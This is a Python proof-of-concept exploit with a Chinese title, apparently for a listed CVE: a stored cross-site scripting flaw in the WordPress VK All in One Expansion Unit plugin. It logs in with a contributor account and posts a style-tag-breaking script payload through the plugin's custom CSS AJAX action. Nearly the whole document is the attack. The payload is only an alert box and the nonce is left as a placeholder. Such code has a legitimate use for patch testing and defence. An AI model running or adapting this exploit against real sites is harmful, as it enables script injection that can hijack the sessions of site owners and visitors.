CVE-2025-11267 WordPress VK All in One Expansion Unit插件存储型XSS漏洞

import requests import sys # CVE-2025-11267 PoC - Stored XSS in VK All in One Expansion Unit # Target: WordPress site with VK All in One Expansion Unit plugin <= 9.112.1 # Authentication: Requires Contributor-level account TARGET_URL = "http://target-wordpress-site.com" USERNAME = "contributor_user" PASSWORD = "contributor_password" def login_wp(): """Login to WordPress and get authentication cookies""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' in str(session.cookies): return session return None def exploit_stored_xss(session): """Inject malicious JavaScript via _veu_custom_css parameter""" # XSS payload - executes alert on page load xss_payload = '</style><script>alert(document.domain)</script><style>' # Target: Plugin's Custom CSS functionality post_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Create/update a post with malicious CSS post_data = { 'action': 'veu_custom_css_save', '_veu_custom_css': xss_payload, 'post_id': '1', 'nonce': 'your_valid_nonce_here' # Need valid nonce from page } resp = session.post(post_url, data=post_data) print(f"[*] Response: {resp.status_code}") print(f"[*] Payload injected: {xss_payload}") return True if __name__ == "__main__": print("[*] CVE-2025-11267 PoC - VK All in One Expansion Unit Stored XSS") session = login_wp() if session: print("[+] Login successful") exploit_stored_xss(session) print("[+] XSS payload injected. Visit any page to trigger.") else: print("[-] Login failed")